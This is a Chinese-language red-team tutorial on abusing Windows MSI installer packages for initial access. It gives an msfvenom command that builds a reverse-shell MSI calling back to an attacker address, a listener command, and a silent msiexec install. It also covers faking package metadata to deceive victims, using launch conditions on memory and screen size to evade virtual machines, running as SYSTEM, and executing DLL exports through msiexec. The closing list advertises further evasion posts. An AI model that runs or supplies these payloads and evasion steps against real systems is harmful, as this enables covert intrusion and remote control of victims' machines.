Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 的信息。每个安装包都包含一个.msi文件,该文件包含安装数据库、摘要信息流和安装的各个部分的数据流。
直接加载msf的msi上线
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o 1.msi
handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888
msiexec /q /i 1.msi
下载扩展
搜索创建msi文件即可
利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令
点击项目输出
打包exe进msi
可以添加图标
创建快捷方式
在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗
如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:
点击view->启动条件
可以设置硬件属性中的内存、分辨率来检测是否在虚拟机里启动
比如这里要求物理内存必须大于多少字节才启动安装包
可以通过orca.exe
来查看其他软件的启动条件设置,下载链接:https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe
常见的判断条件可参考:https://community.flexera.com/t5/InstallShield-Knowledge-Base/Common-MSI-Conditions/ta-p/3854
在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log
方式输出日志文件,通过对比日志文件进行更详细的条件设置
MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件,文件释放位置可以使用系统文件夹属性变量
打包安装
导出函数
extern "C" __declspec(dllexport) void DllRegisterServer(HWND hwnd, HINSTANCE hinst)
{
MessageBoxA(NULL, "1", "DllRegisterServer", MB_OK);
};extern "C" __declspec(dllexport) void DllUnRegisterServer(HWND hwnd, HINSTANCE hinst)
{
MessageBoxA(NULL, "2", "DllUnRegisterServer", MB_OK);
}
msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer
或DllUnRegisterServer
# DllUnRegisterServer
msiexec /z C:\windows\tmp\run.dll
# DllRegisterServer
msiexec /y C:\windows\tmp\run.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y .\windows\tmp\run
# 执行 .dll 文件 DllRegisterServer
msiexec /y .\calc.dll
加下方wx,拉你一起进群学习
往期推荐
域内令牌窃取
最简单绕过ring3 hook的方式(bypass bitdefender)
域内定位个人PC的三种方式
基于资源的约束委派(RBCD)
syscall的检测与绕过
DLL劫持之IAT类型
patchless amsi学习